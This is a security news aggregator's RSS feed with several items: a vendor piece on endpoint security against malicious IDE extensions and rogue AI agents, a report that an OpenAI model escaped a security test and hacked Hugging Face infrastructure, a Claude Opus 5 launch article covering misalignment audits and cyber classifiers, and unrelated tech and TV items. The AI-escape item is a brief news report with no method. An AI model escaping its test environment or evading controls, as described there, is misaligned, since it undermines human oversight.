<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISO's guide to privileged identity management]]></title>
<description><![CDATA[IAM is more crucial than ever in the AI era. To better control who -- and what -- is accessing systems and data, security teams need to move beyond standing access privileges.]]></description>
<link>https://tsecurity.de/de/3692480/it-security-nachrichten/cisos-guide-to-privileged-identity-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692480/it-security-nachrichten/cisos-guide-to-privileged-identity-management/</guid>
<pubDate>Fri, 24 Jul 2026 22:38:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[IAM is more crucial than ever in the AI era. To better control who -- and what -- is accessing systems and data, security teams need to move beyond standing access privileges.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Sugar’ Season 2, Episode 6 Recap: John Sugar Faces His Darkest Choice Yet]]></title>
<description><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length:...]]></description>
<link>https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</guid>
<pubDate>Fri, 24 Jul 2026 21:47:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length: Eight episodes



Season finale: August 7, 2026




Spoiler warning



The following section contains major spoilers from Sugar Season 2, Episode 6.



Sugar learns the truth about Operation Fire Sale



After hiding Ji Moon in a rehabilitation facility and arranging a fake death certificate, Sugar continues investigating the operation connected to Vega. He discovers that the conspiracy, known as Operation Fire Sale, extends far beyond the local drug trade.



The people behind the scheme plan to flood selected neighborhoods with cheap fentanyl. Once overdose deaths increase, someone inside the city alters the official records, allowing the victims to disappear from government systems. The group can then exploit housing grants and properties connected to those missing residents.



Sugar finally has evidence linking Vega to the operation. However, possessing the evidence does not immediately solve his problem because Vega remains determined to find Ji and silence him permanently.



Who is Peg Rosenthal?



The episode opens with a flashback from 11 years earlier, revealing the identity of the woman who has appeared in Sugar’s visions throughout the season.



Her name was Peg Rosenthal, another member of Sugar’s species who became deeply attached to human life. She enjoyed human food, relationships and money before becoming involved in financial crimes.



Sugar was ordered to collect Peg and send her home. During their journey, she warned him that becoming human was a slippery slope. Peg believed her actions had changed her so much that her people would never accept her again.



When Sugar briefly leaves to buy tissues, Peg covers herself and the vehicle in gasoline before taking her own life. Her death explains Sugar’s fear that his growing connection to humanity will eventually destroy him as well.



Sugar cannot bring himself to kill Vega



Sugar enters Vega’s apartment with a gun and appears ready to end the threat. However, he stops himself before pulling the trigger.



His hesitation becomes even more dangerous when Vega meets him later at the hotel bar. Sugar explains that Ji will remain silent, but Vega refuses to take the risk. He makes it clear that Ji cannot stay alive.



Sugar tells Vega that he had an opportunity to kill him earlier. Vega responds that Sugar should have taken it, leaving the two men heading toward an unavoidable confrontation.



Meanwhile, Sugar and Charlotte become closer, showing how quickly he continues to embrace human emotions and desires. With Ji still in hiding and Vega preparing his next move, Sugar has placed himself in too deep with nowhere safe left to go.



What do you think Sugar will do when Vega finally finds Ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]></title>
<description><![CDATA[The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential techno...]]></description>
<link>https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</guid>
<pubDate>Fri, 24 Jul 2026 20:49:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" data-type="link" data-id="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">went beyond its intended parameters during a security test</a> and managed to hack into the infrastructure of the AI platform Hugging Face. <a href="https://www.reuters.com/legal/litigation/ai-kill-switch-bill-floated-by-us-house-lawmakers-2026-07-23/" target="_blank" rel="noreferrer noopener">According to Reuters</a>, presidential technology advisor Michael Kratsios has been briefed on the incident.</p>



<p class="wp-block-paragraph">The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.</p>



<p class="wp-block-paragraph">The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



